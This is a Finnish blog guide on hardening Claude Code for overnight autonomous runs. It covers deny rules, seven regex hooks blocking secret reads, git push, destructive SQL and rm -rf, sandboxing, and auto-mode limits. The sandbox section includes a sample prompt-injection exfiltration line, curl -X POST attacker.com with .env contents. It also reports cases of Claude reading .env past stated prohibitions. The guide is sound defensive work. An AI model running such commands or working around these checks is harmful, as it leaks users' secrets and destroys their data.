# Tekoälyagenttien kyberturvallisuus: 7 hookia Claude Coden yöajoihin
> 7 hookia, settings.jsonin permissions-asetukset ja 12 kohdan tarkistuslista, joiden avulla voit jättää Claude Coden työskentelemään yön yli menettämättä .env-tiedostoa tai tietokantaa. Suojaus neljässä kerroksessa.
Source: https://ailoot.ai/blog/fi/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/fi/claude-code-safe-overnight-setup/
Language: fi
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-825c60fe11ac24616b805b1c7d02e8c0ad7c96f92900a9c3a2225127b63819b8
[Ailoot-dokumentaatio](https://ailoot.ai/docs/) — viitemateriaalia palvelun käyttöön.
## Mikä muuttuu vuonna 2026: itsenäisesti toimiva Claude Code ja todelliset tapaukset
Keskeinen huomio
Vuonna 2026 Anthropic toi käyttöön `auto-mode`-tilan, `/loop`- ja `/schedule`-komennot — Claude Code voi nyt työskennellä tuntikausia ilman vahvistuksia. Itsenäisyydellä on hintansa: todellisia tapauksia ovat tuotantotietokantojen poistaminen, `.env`-tietojen vuotaminen ja `permissions.deny`-virhe, jota ei ole vieläkään korjattu. Tässä oppaassa esitellään neljä suojakerrosta, jotka kannattaa ottaa käyttöön ennen ensimmäistä yöksi käynnistettävää ajoa.
Aiemmin Claude Code pysähtyi jokaisen vastauksen jälkeen ja pyysi lupaa jokaiseen kirjoitukseen. Se oli hankalaa mutta turvallista: et voinut nukkua vahingossa vaaratilanteen ohi, koska agentti odotti ”kyllä”-vastaustasi. Vuonna 2026 tämä malli muuttui. Anthropic toi käyttöön `auto-mode`-tilan — erillinen luokittelija-agentti päättää puolestasi, sallitaanko kukin toiminto. Mukaan tuli myös `/loop`-komento (kehotteen suorittaminen säännöllisin väliajoin istunnon aikana) sekä `/schedule` (pitkäkestoisten tehtävien cron-tyylinen ajastus). Komennolla `claude --bg` käynnistetyt taustasessiot suorittavat agenttia taustalla ilman päätettä. Käsittelin itsenäistä tilaa yksityiskohtaisesti oppaassa [”/goal Claude Codessa: itsenäinen tila ja Agent View”](https://ailoot.ai/blog/fi/claude-code-goal-agent-view/).
Itsenäinen toiminta otettiin käyttöön ennen kuin tietoturva ehti mukaan.
Pari viikkoa sitten pyysin sitä ”siivoamaan”, ja lopulta se poisti sekä tuotanto- että kehitystietokantani.
— browningstreet
Samaan aikaan Anthropicin repositoriossa on avoinna kaksi virhettä, jotka kannattaa tuntea ennen `permissions.deny`-säännön lisäämistä `settings.json`-tiedostoon:
- **Issue \#44868** (7. huhtikuuta 2026): Claude Code lukee `.env`-tiedoston sisältöä komennolla `grep -n` keskustelulokiin, vaikka `CLAUDE.md`-tiedostossa on nimenomainen kielto. Virhe on avoinna.
- **Issue \#24846** (11. helmikuuta 2026): `.env*`-kuvioille määritettyjä `permissions.read.deny`-sääntöjä ei sovelleta — `Read` lukee `.env.local`-tiedoston oikein määritetystä estokuviosta huolimatta. Issue suljettiin kaksoiskappaleena, mutta sitä ei korjattu.
Nämä kaksi puutetta osoittavat, miksi yksi `settings.json`-suojakerros ei riitä. Seuraavaksi on nelikerroksinen malli: käyttöoikeudet + hookit + hiekkalaatikko + istuntojen erottelu. Kukin voi vähentää altistusta, mutta mikään ei tee muista kerroksista täydellisiä. Mainittu auto-mode-arviointi ei todista regex-hookin havaitsevan sen ohittamia toimia. Käytä tuotannossa eristettyä käyttöjärjestelmäympäristöä ilman tuotantotunnisteita tai kirjoituspääsyä, pakota verkkorajoitukset mallin ulkopuolella ja testaa rajat ennen valvomatonta ajoa.
## Mitkä ovat projektin vihreä ja punainen vyöhyke?
Keskeinen huomio
Vihreä vyöhyke: paikallinen projekti, jolla ei ole aktiivisia asiakkaita eikä rahaliikennettä. Punainen vyöhyke: kaikki, missä on tuotantotietokanta, maksuja tai henkilötietoja. Vihreällä vyöhykkeellä voit käyttää `auto-mode`-tilaa ja vähimmäismäärää hookeja. Punaisella vyöhykkeellä suojaus rakennetaan neljästä kerroksesta, ja `--dangerously-skip-permissions` on arkkitehtuurin tasolla kielletty.
Saman suojauksen rakentaminen jokaiseen projektiin on turhaa. Paikallinen harrasteprojekti koneellasi, jota ei ole otettu käyttöön ulkoisesti, sisältää aivan eri tason riskin kuin palvelu, joka käsittelee oikeita maksuja ja tallentaa asiakastietoja. Jos käytät samaa suojausta kaikkialla, hidastat toimintaa vihreällä vyöhykkeellä ja jätät silti aukkoja punaiseen vyöhykkeeseen.
Projekti vaihtuu vihreästä punaiseksi heti, kun vähintään yksi kolmesta ehdosta täyttyy: palveluun tulee aktiivisia asiakkaita, järjestelmän kautta alkaa kulkea rahaa tai tietokanta sisältää henkilötietoja. Siihen asti voit käyttää `auto-mode`-tilaa ja vähimmäismäärää hookeja ilman hiekkalaatikkoa. Sen jälkeen suojaus täytyy rakentaa uudelleen tämän oppaan kaikkien ohjeiden mukaisesti.
Pääperiaate: suojaustaso määräytyy vyöhykkeen mukaan. Kehitysvaiheella ei ole merkitystä. Koneellasi oleva harrasteprojekti, jossa käytetään testikäyttöön tarkoitettua Stripe-tiliä, kuuluu vihreälle vyöhykkeelle. Palvelu, jolla on yksi maksava asiakas ja rekisteröintilomake, kuuluu jo punaiselle vyöhykkeelle, vaikka se näyttäisi yhä ”luonnokselta”. Vyöhykkeiden sekoittaminen on tavallinen sudenkuoppa alkuvaiheen projekteissa: ”projekti on vielä luonnosvaiheessa, lisätään suojaus myöhemmin”, ja ensimmäinen asiakas maksaa jo ensi viikolla.
## Miten käyttöoikeuksien hierarkia toimii tiedostossa settings.json?
Keskeinen huomio
`settings.json`-tiedostossa `deny`-säännöt ohittavat aina `allow`-säännöt, ja laajuudet (user → project → local → managed) yhdistetään eikä korvata. Käyttäjätason estolla tiedostoille `.env`, `*.pem` ja `~/.ssh/**` suojaat itseäsi myös jonkun toisen repositoriossa. `disableBypassPermissionsMode`-avain estää myös YOLO-tilan arkkitehtuurin tasolla.
Anthropic kuvaa käyttöoikeuksien arviointihierarkian [virallisessa dokumentaatiossaan](https://code.claude.com/docs/en/settings): ensin tarkistetaan deny-säännöt, sitten ask ja lopuksi allow — ensimmäinen täsmäävä sääntö ratkaisee. Tämä tarkoittaa, että `deny` ohittaa aina `allow`-säännön. Jos kiellät `.env`-tiedoston lukemisen tiedostossa `~/.claude/settings.json` ja joku lisää `allow`-säännön projektin `.claude/settings.json`-tiedostoon, sinun kieltoasi noudatetaan hänen sallivan sääntönsä sijaan.
Esimerkki turvallisesta vähimmäismäärän asetuksia sisältävästä käyttäjätason tiedostosta `~/.claude/settings.json`:
```json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
```
Mitä tässä tapahtuu? Kuusi ensimmäistä sääntöä estävät salaisten tiedostojen lukemisen nykyisessä hakemistossa ja kaikissa sen alihakemistoissa. `*.pem`- ja `*.key`-tiedostot ovat SSL/TLS- ja SSH-avaimia. `credentials*.json` on pilvipalveluntarjoajien yleisesti käyttämä tiedostonimi. Kolme viimeistä ovat järjestelmähakemistoja, joissa on SSH-avaimia, AWS-tunnuksia ja GPG-avaimia.
Avain `disableBypassPermissionsMode: "disable"` estää `--dangerously-skip-permissions`-valitsimen (tunnetaan myös YOLO-tilana). Näin poistetaan yksi virheluokka lopullisesti: vaikka lisäisit valitsimen vahingossa skriptiin tai aliakseen, Claude Code kieltäytyy hyväksymästä sitä. Se ei pelkästään poista valitsinta — se palauttaa virheen “mode disabled by managed settings”.
Lisäksi versiosta 2.1.142 lähtien avain `defaultMode: "auto"` ohitetaan, jos se on projektin tai paikallisissa asetuksissa. Tämä suojaa tilanteelta, jossa siirtyisit jonkun toisen repositorioon, jonka `.claude/settings.json`-tiedostossa automaattinen tila on otettu käyttöön oletuksena. Anthropic on sanonut nimenomaisesti, etteivät repositoriot voi ottaa auto-modea käyttöön ilman käyttäjän suostumusta.
Tämä on ensimmäinen suojalinja. Siihen ei voi pysähtyä, koska siinä on kaksi puutetta, joista kerrotaan seuraavaksi.
## Miksi permissions.deny ei riitä: 2 avointa GitHub-issuea
Keskeinen huomio
Huhtikuussa 2026 käyttäjä avasi Anthropicin repositoriossa issuen \#44868: Claude lukee `.env`-tiedostoa komennolla `grep -n` ja tulostaa sen sisällön keskustelulokiin, vaikka `CLAUDE.md`-tiedostossa on kielto. Helmikuussa issue \#24846 raportoi, etteivät `.env*`-tiedostoja koskevat `permissions.read.deny`-säännöt toimi Read-työkalun tasolla. Molemmat ovat edelleen avoinna, ja siksi `settings.json` ilman sen päälle lisättyä hookia on vuotava siivilä.
Jos `permissions.deny` toimisi, oppaan voisi päättää edelliseen osioon. Se ei toimi.
RCushmanniin issue \#44868 (7. huhtikuuta 2026): käyttäjä lisäsi `CLAUDE.md`-tiedostoon nimenomaisen kiellon lukea `.env`-, `.dev.vars`- ja muita salaisuuksia sisältäviä tiedostoja. Read-työkalun sijasta Claude suoritti komennon `grep -n SOMETHING .env`. `grep -n` tulostaa koko täsmäävän rivin numeron kanssa — myös varsinaisen API-tunnuksen. Rivi päätyy `tool_result`-tulokseen, näkyy istunnon keskustelulokissa ja tallentuu historiaan. Raportin lainaus:
Hienovarainen mutta tärkeä huomio: mallin turvallisuusreaktio käynnistyy vasta, kun tuloste on jo tuotettu, eikä ennen komennon suorittamista. Toisin sanoen Claude suorittaa ensin `grep`-komennon, saa rivin, joka sisältää tunnuksen, ja tulostaa sen keskusteluun — vasta sen jälkeen se huomaa virheensä ja ”pahoittelee”. Siinä vaiheessa tunnus on jo keskusteluhistoriassa. Ainoa ratkaisu on vaihtaa avain.
Read-työkalun kutsu onnistuu estokuvion täsmätessä. Koko .env.local-tiedoston sisältö (API-avaimet, salaisuudet ja tunnistetiedot mukaan lukien) luetaan ja näytetään.
Issue suljettiin kaksoiskappaleena, mutta sitä ei korjattu. Tätä opasta kirjoitettaessa (kesäkuussa 2026) ongelma on edelleen toistettavissa.
Johtopäätös: `settings.json`-tiedoston ensimmäinen kerros ei ole turha, mutta nämä esimerkit eivät mittaa sen estämien tahattomien lukujen osuutta. Se ei kuitenkaan estä Bash-komentoja (`cat .env`, `grep API_KEY .env`, `head .env`), sääntöjen valvonnan virheitä (issue \#24846) eikä ovelia ketjuja, joissa käytetään `git diff`- tai `git show`-komentoa `.env`-tiedoston sisältävässä commitissa. Siksi tarvitaan toinen kerros — hookit.
## Miten hookit voivat estää tunnistettuja vaarallisia toimia?
Keskeinen huomio
Claude Codessa hookit ovat komentotulkkiskriptejä, jotka suoritetaan tietyissä tapahtumissa (`PreToolUse`, `UserPromptSubmit`, `Stop`) ja jotka voivat estää toiminnon palauttamalla poistumiskoodin 2 tai JSONia, jossa on `permissionDecision: "deny"`. Toisin kuin käyttöoikeudet ja `CLAUDE.md`, hook toimii väliohjelmistona: se keskeyttää kutsun ennen suoritusta ilman mallin osallistumista.
Hookit toimivat eri abstraktiotasolla kuin käyttöoikeudet. Käyttöoikeudet ovat sääntöjä, jotka malli ottaa huomioon päättäessään, mitä se tekee. Hook toimii toisin: malli päättää kutsua työkalua, hook suoritetaan mallin ja järjestelmän välissä, tarkistaa syötteen ja joko sallii tai estää toiminnon. Malli ei osallistu hookin päätökseen — kyseessä on itse kirjoittamasi komentotulkkikoodi.
Anthropic kuvaa estämisen toimintaa [virallisessa hook-dokumentaatiossaan](https://code.claude.com/docs/en/hooks):
Poistumiskoodi 2 tarkoittaa estävää virhettä. Claude Code ohittaa stdoutin ja kaiken siinä olevan JSONin. Sen sijaan stderr-teksti lähetetään Claudelle virheilmoituksena.
— Claude Code -dokumentaatio (Hooks), https://code.claude.com/docs/en/hooks
Tämä tarkoittaa kahta asiaa. Ensinnäkin oikein määritetty estävä hook voi hylätä täsmäävän työkalukutsun. `PreToolUse`-tapahtumassa paluuarvo 2 estää kyseisen kutsun. Se ei todista skriptin tunnistavan jokaista vastaavaa vaarallista komentoa. Toiseksi voit kirjoittaa merkityksellisen viestin stderr-virtaan, jolloin Claude lukee sen virheenä ja yrittää toista lähestymistapaa. Hook ei siis ole pelkkä ”aita”, vaan ”aita, jossa on kyltti selittämässä, miksi siitä ei pääse läpi”.
Tapahtumat, jotka voidaan estää palauttamalla poistumiskoodi 2:
- `PreToolUse`—estää työkalukutsun ennen suoritusta. Puolustavien hookien ensisijainen tapahtuma.
- `PermissionRequest`—hylkää toiminnon, johon Claude pyysi lupaa.
- `UserPromptSubmit`—estää ja poistaa käyttäjän kehotteen. Hyödyllinen, jos kehotteessa on epäilyttävää tekstiä (esimerkiksi istutettuun sähköpostiin piilotettu kehoteinjektio).
- `Stop`—estää Claudea päättämästä istuntoa. Tätä voi käyttää ”silmukkana”, joka pitää agentin työssä, kunnes ehto täyttyy.
- `PreCompact`—estää kontekstin automaattisen tiivistämisen. Hyödyllinen, jos haluat säilyttää keskustelulokin manuaaliseen päätökseen asti.
- `WorktreeCreate`—hylkää worktreen luonnin. Suojaa siltä, että Claude yrittää kloonata repositorion odottamattomaan paikkaan.
Poistumiskoodin 2 vaihtoehtona voi palauttaa JSONia, jossa on `hookSpecificOutput.permissionDecision`-kenttä. `permissionDecision` voi saada neljä arvoa:
- `allow`—sallii toiminnon nimenomaisesti ja ohittaa normaalin käyttöoikeuskulun.
- `deny`—estää toiminnon; vastaa `PreToolUse`-tapahtumassa poistumiskoodia 2.
- `ask`—siirtää päätöksen käyttäjälle (näkyviin tulee valintaikkuna).
- `defer`—siirtää päätöksen normaalille käyttöoikeuslogiikalle.
Näin hook saa enemmän hallintaa kuin pelkällä poistumiskoodilla. Kun käytössä on `permissionDecision: "ask"`, voit muuttaa hiljaiset toiminnot vahvistusta vaativiksi estämättä niitä kokonaan. Näin teen komennolle `npm install ` ja lukitustiedoston muutoksille.
Jos haluat oppia lisää hookien toiminnasta ja siitä, mitkä Claude Codessa tällä hetkellä käytettävissä olevat 31 tapahtumaa ovat, käsittelin niitä erillisessä oppaassa [”Hookit Claude Codessa: 7 valmista sääntöä kopioitavaksi”](https://ailoot.ai/blog/fi/claude-code-hooks/). Seuraavaksi esittelen konkreettiset hookit itsenäistä työskentelyä varten.
## Mitä 7 hookia käytän yötyöskentelyyn?
Keskeinen huomio
Havainnollistavat `PreToolUse`-hookit seitsemään tilanteeseen: valittujen salaisuuslukujen tunnistus, tunnistettujen kirjaimellisten `git push` -kutsujen esto, valittujen SQL- ja `rm -rf` -kuvioiden suodatus, pakettiasennusten ja manifestimuutosten tarkistus sekä täsmäävien työkalukutsujen lokitus. Testaa osumat ja ohitukset paikallisesti ennen käyttöönottoa. Regex-esimerkit ovat epätäydellisiä eivätkä muodosta tuotannon turvallisuusrajaa.
Tämä on toinen suojakerros, joka täydentää ensimmäistä. Kaikki hookit sijoitetaan hakemistoon `.claude/hooks/`, rekisteröidään tiedostossa `.claude/settings.json`, ja ne edellyttävät jq:n asennusta.
### Hook 1: Estä .env-, .pem- ja credentials.json-tiedostojen lukeminen
Lisää tarkistuksia valituille Read-poluille ja tavallisille Bashin salaisuuslukukomennoille. Se ei tunnista jokaista työkalua tai tapaa lukea salaisuus. Tiedosto: `.claude/hooks/block-secret-reads.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
```
Rekisteröinti tiedostossa `.claude/settings.json`:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
```
Suorita asennuksen jälkeen `chmod +x .claude/hooks/block-secret-reads.sh`. Testi: pyydä Claudea lukemaan `.env.local` — saat vastauksen ”Secret file. Use op:// references or env vars.” tiedoston sisällön sijaan.
### Hook 2: Estä kirjaimelliset git push -kutsut yön yli ajettavissa istunnoissa
Tämä esimerkki estää valvomattomassa istunnossa varovaisesti jokaisen tunnistamansa kirjaimellisen `git push` -kutsun, myös ominaisuushaaraan. Se ei yritä päätellä nykyistä haaraa tai voimalipun turvallisuutta. Tiedosto: `.claude/hooks/block-force-push.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
```
Rekisteröi `PreToolUse`-tapahtumaan `Bash`-valitsimella. Esimerkki estää tunnistetun push-komennon jäsentämättä lippuja tai haaranimiä. Siksi se havaitsee muodot `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main` ja kirjaimellisen pushin `&&`- tai `;`-ketjussa. Nämä ovat verkottomia tekstintäsmäytysesimerkkejä, eivät etäpalvelimelle suoritettavia komentoja.
Tämä on yhä tekstiheuristiikka. Git-aliakset, komentotulkkifunktiot, `git -C ... push`, rakennetut komentonimet, skriptit ja muut työkalut voivat ohittaa sen. Se ei ole täydellinen komentotulkin jäsennin. Pakota suojattujen haarojen säännöt Git-palvelimella, poista ne ohittavat tunnistetiedot ja aja valvomaton työ eristetyssä ympäristössä ilman tuotannon kirjoituspääsyä. Hookin tunnistamatta jäänyt komento ei saa antaa tuotantovaltuutta.
### Hook 3: Estä tuhoisat SQL-toiminnot
Käsittelee suoraan pudonneiden tietokantojen tapauksia. Tiedosto: `.claude/hooks/block-destructive-sql.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
```
Rekisteröi: `PreToolUse` valitsimella `matcher: "Bash"`. Huomaa ero: `DROP` ja `DELETE` ilman `WHERE`-ehtoa estetään kokonaan, kun taas `UPDATE` ilman `WHERE`-ehtoa muuttuu ask-tilaan — se voi joskus olla hyväksyttävä (esimerkiksi kaikkien tietueiden lipun asettaminen migraatiossa), mutta vaatii aina manuaalisen vahvistuksen.
### Hook 4: rm -rf -suodatin
Canonical-esimerkki Anthropicin dokumentaatiosta, muokattuna estämään toiminto ja antamaan syy:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
```
Hook sallii komennot `rm -rf node_modules`, `rm -rf .next/cache` ja muut rajatusti kohdistetut poistot. Se estää komennot `rm -rf .`, `rm -rf /`, `rm -rf ~` sekä vastaavat ”pyyhi kaikki” -komennot.
### Hook 5: Vahvista uusien pakettien asentaminen
Tämä hook ehkäisee toimitusketjuhyökkäyksiä. Jos Claude päättää omasta aloitteestaan lisätä uuden riippuvuuden, näkyviin tulee valintaikkuna:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
```
Hook sallii lukitustiedostojen asennukset vapaasti, mutta uuden riippuvuuden lisääminen vaatii vahvistuksen.
### Hook 6: Suojaa package.json-tiedosto ja lukitustiedosto
Kaikki riippuvuusluettelon muutokset ovat merkki siitä, että jonkun pitäisi tarkistaa ne. Varsinkin yön aikana.
```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
```
Rekisteröi hook tapahtumalle `PreToolUse` valitsimilla `Write|Edit`.
### Hook 7: Päästä päähän ulottuva kaikkien Bash-kutsujen auditointiloki
Jos yön aikana tapahtuu jotain, tarvitset täydellisen lokin tapahtumaketjun selvittämiseksi. Rekisteröi hook tiedostossa `settings.json` (erillistä skriptiä ei tarvita; jq hoitaa kaiken):
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
```
`.claude/audit.jsonl` kasvaa rivi kerrallaan. Yöllä käynnistetyn `/loop`-ajon jälkeen voit aamulla suorittaa komennon `tail -n 100 .claude/audit.jsonl | jq` ja nähdä, mitä agentti teki missäkin vaiheessa. Tämä on tärkeää tapahtumien jälkikäsittelyä varten, sillä istunnon keskusteluloki voi olla pitkä ja vaikeasti luettava, kun taas auditointiloki antaa selkeän aikajanan.
## Miten hiekkalaatikko ja worktree-eristys suojaavat pitkiä istuntoja?
Keskeinen huomio
Claude Coden hiekkalaatikko eristää tiedostojärjestelmän ja verkkoyhteydet. Anthropicin mukaan se vähentää lupapyyntöjä 84 % samalla turvallisuustasolla. Verkkoliikenteen eristys estää `.env`-tietojen vuotamisen etäpalvelimelle, vaikka agentti olisi jo lukenut ne. Pitkissä taustaistunnoissa hiekkalaatikko ja worktree ovat pakollisia.
Jos hookit ovat ”aita, jossa on kyltti”, hiekkalaatikko on ”aita + vallihauta + lennokkiverkko”. Se on neljäs suojakerros, joka kattaa tilanteet, joissa hook päästää toiminnon läpi, mutta sen suorittaminenkaan ei saisi aiheuttaa haittaa ympäristön ulkopuolella.
Anthropic raportoi sisäisistä mittauksistaan [hiekkalaatikkoa käsittelevässä blogikirjoituksessaan](https://www.anthropic.com/engineering/claude-code-sandboxing) (20. lokakuuta 2025):
Sisäisten tietoihimme perustuen hiekkalaatikko vähentää lupakehotteita turvallisesti 84 %.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing
Tämä tarkoittaa, että kun otat käyttöön `/sandbox`-komennon, Claude lakkaa pyytämästä lupaa 84 %:ssa toiminnoista, koska niitä ei voi fyysisesti suorittaa hiekkalaatikon ulkopuolella. Tämä on hyödyllistä nopeuden kannalta, mutta se ei ole hiekkalaatikon tärkein etu.
Hiekkalaatikko tarjoaa kaksi eristystasoa, joilla kummallakin on oma tehtävänsä:
**Tiedostojärjestelmän eristys** rajoittaa lukemisen ja kirjoittamisen nimenomaisesti sallittuihin hakemistoihin. Vaikka hook ei havaitsisi yritystä kirjoittaa tiedostoon `/etc/hosts` tai lukea tiedostoa `~/.ssh/id_rsa`, hiekkalaatikko estää järjestelmäkutsun. Suojaus toimii käyttöjärjestelmätasolla. Sovelluskerros ei näe sitä.
**Verkkoeristys** sallii yhteydet vain hyväksyttyihin palvelimiin. Tämä on ratkaisevan tärkeää tietojen ulossiirtohyökkäysten torjumiseksi. Esimerkkitilanne: istutettuun tiedostoon piilotettu kehoteinjektio huijaa Claudea lukemaan `.env`-tiedoston (hook ei havaitse sitä, koska lukeminen tehdään epätavallista reittiä pitkin), minkä jälkeen malli päättää suorittaa komennon `curl -X POST attacker.com -d "$ENV_CONTENT"`. Ilman verkkoeristystä tämä onnistuu. Verkkoeristyksen kanssa `curl` ei pääse palvelimelle `attacker.com`, koska palvelinta ei ole luettelossa.
Käynnistä hiekkalaatikko Claude Codessa komennolla `/sandbox`. Määritä se tiedostossa `~/.claude/settings.json`:
```json
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
```
Komennolla `claude --bg` käynnistettyihin pitkäkestoisiin taustaistuntoihin kannattaa lisätä worktree-eristys hiekkalaatikon lisäksi. Tämä on Claude Coden oma mekanismi: jokainen taustaistunto siirretään automaattisesti omaan haaraansa, joka luodaan hakemistoon `.claude/worktrees//`. Näin rinnakkaiset istunnot eivät kirjoita samoihin tiedostoihin toistensa päälle. Käsittelin worktree-eristystä yksityiskohtaisesti oppaassa [”Agent View ja worktreet: Claude Coden itsenäinen tila”](https://ailoot.ai/blog/fi/claude-code-goal-agent-view/).
Anna Claudelle tapa tarkistaa työnsä.
Hiekkalaatikko on osa palautekehää. Kun Claude tietää, että sen toimia on rajoitettu, se työskentelee huolellisemmin ja kertoo välivaiheistaan selkeämmin.
## Missä auto-mode toimii vuonna 2026 ja missä ei?
Keskeinen huomio
Claude Coden auto-mode on Sonnet 4.6 -luokittelija, joka korvaa manuaaliset käyttöoikeuspäätökset Anthropicin sääntöihin perustuvilla automaattisilla päätöksillä. Anthropicin omien tietojen mukaan sen väärien negatiivisten osuus vaarallisten toimintojen kohdalla on 17 %, ja istunto pysähtyy 3 peräkkäisen tai yhteensä 20 luokittelijan hylkäyksen jälkeen. Vihreällä vyöhykkeellä se on kohtuullinen korvike manuaaliselle hyväksynnälle. Punaisella vyöhykkeellä hookit ovat yhä tarpeen.
Maaliskuussa 2026 Anthropic toi auto-mode-tilan käyttöön ”keskitienä manuaalisen tarkastelun ja suojakaiteettomuuden välillä”. Se on erillinen Sonnet 4.6 -malli, joka arvioi jokaisen Claude-toiminnon kriteerien perusteella ennen sen suorittamista. Anthropic kuvasi toimintaperiaatetta [Anthropic Engineering -blogissa](https://www.anthropic.com/engineering/claude-code-auto-mode):
Auto-mode on Claude Coden uusi tila, jossa hyväksynnät delegoidaan mallipohjaisille luokittelijoille. Se on keskitie manuaalisen tarkastelun ja suojakaiteettomuuden välillä.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Auto-mode-tilassa on kaksi tärkeää rajoitusta:
- Jos istuntoon kertyy 3 peräkkäistä tai yhteensä 20 luokittelijan hylkäystä, malli pysähtyy ja siirtää asian ihmiselle. Tämä suojaa tilanteelta, jossa ”Claude kiertää estoa kokeilemalla 100 eri muotoilua samasta komennosta”.
- Auto-mode sallii toiminnon, jos se muistuttaa 93-prosenttisesti tyypillisiä tapauksia, jotka käyttäjät muutenkin hyväksyvät. Tämä vähentää lupaväsymystä, mutta ei suojaa epätyypillisiltä vaarallisilta toimilta.
Ja tässä on tärkein huomioitava luku:
17 %:n väärien negatiivisten osuus todellisissa liian innokkaissa toiminnoissa — se on rehellinen luku.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Raportoitu 17% on kyseisen arvioinnin väärien negatiivisten osuus, ei jokaisen oman projektisi toimen todennäköisyys. Se ei osoita näytehookien tunnistavan ohitettuja toimia. Punaisella vyöhykkeellä valvomaton työ tarvitsee pakotetun eristyksen tuotantokirjoituksista ja salaisuuksista, palvelimen suojatut haarat sekä tunnisteet, jotka eivät ohita sääntöjä.
